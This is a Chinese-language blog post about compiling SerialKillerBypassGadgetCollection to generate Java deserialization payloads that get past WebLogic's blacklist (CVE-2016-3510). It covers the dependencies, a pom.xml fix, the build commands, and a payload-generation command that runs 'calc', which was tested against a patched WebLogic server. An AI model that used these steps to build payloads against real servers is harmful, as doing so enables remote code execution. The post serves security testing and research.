记 SerialKillerBypassGadgetCollection 编译过程

背景

想要生成 Weblogic Deserialization RCE(CVE-2016-3510) 的payload,利用weblogic.corba.utils.MarshallObject的反序列化来绕过 Weblogic 的黑名单,从而执行恶意代码。

简介

SerialKiller 是一个用来绕过可预见的ObjectInputStreams防御反序列化措施,生成用于Java反序列化的 Gadget chains 的工具的集合。

项目地址

https://github.com/pwntester/SerialKillerBypassGadgetCollection

依赖

从 Requirements 中可以看到所需要的依赖

1
2
3
4
5
6
7
8
ysoserial-0.0.5-SNAPSHOT-all.jar
com.ibm.jaxws.thinclient_8.5.0.jar
com.ibm.ws.ejb.embeddableContainer_8.5.0.jar
com.oracle.weblogic.iiop-common.jar
com.ibm.mq.jmqi.jar
com.ibm.ws.ejb.thinclient_8.5.0.jar
com.ibm.msg.client.jms.jar
com.ibm.ws.runtime.coregroupbridge.jar

先解决上面的所需依赖。

  1. ysoserial-0.0.5-SNAPSHOT-all.jar
    • 这个去ysoserial这里下载就可以了。如果下载的是其他版本的,要在pom.xml中改成对应版本。
  2. com.oracle.weblogic.iiop-common.jar
    • 这个是 Weblogic 里面的一个包,在本地安装的 Weblogic 中没有找到这个包,倒是在 GitHub 中搜到了,下载地址
  3. com.ibm.*

    • 这些包都是 Websphere 里面的。从 Docker Hub 中下载 Webspher。

      1
      docker pull amanly/websphere_8_5_5

      启动之后,进入容器内部,将上面的包一个一个找出来就行。

      1
      find / -name "com.ibm.jaxws.thinclient_8.5.0.jar"

      将6个包打包,在外部下载出来。

除了上述依赖,在编译过程中,还遇到到缺失以下几个依赖

1
2
commons-scxml2-2.0-SNAPSHOT.jar
jai_core-1.1.3.jar

  1. commons-scxml2-2.0-SNAPSHOT.jar
  2. jai_core-1.1.3.jar
    • 这个包是因为在 Maven 源上被删除了。谷歌一下,下载地址,下面还要修改pom.xml

到此,所以的依赖都已经准备好了,在项目根目录中,新建external文件夹,将上面的10个包放进文件夹中。

编译

先解决jai_core依赖问题,修改pom.xml,在maven-install-plugin加一个execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<execution>
<id>install-jai</id>
<phase>clean</phase>
<configuration>
<file>${basedir}/external/jai_core-1.1.3.jar</file>
<repositoryLayout>default</repositoryLayout>
<groupId>javax.media</groupId>
<artifactId>jai_core</artifactId>
<version>1.1.3</version>
<packaging>jar</packaging>
<generatePom>true</generatePom>
</configuration>
<goals>
<goal>install-file</goal>
</goals>
</execution>

然后将本地的 jar 包添加到本地的仓库里

1
mvn clean

执行完之后,可以看到本地的 jar 包已经添加到本地仓库里面了,可以调用了。

最后执行

1
mvn clean compile assembly:single

重新编译,发现依赖问题解决了,可以引用了,但是代码又出错了。提示ysoserial.GeneratePayload不存在ToStringComparator方法。

对 Java 不熟啊,没法改,还好这是个输出用法函数,索性直接注释了。。

再次编译

终于成功了….撒花

payload 测试

1
java -jar target/serialkiller-bypass-gadgets-0.0.1-SNAPSHOT-all.jar CommonsCollections1  Weblogic1 "calc" > calc

用脚本将生成的 payload 发送过去,成功在打了CVE-2015-4852补丁的 Weblogic 上弹出计算器。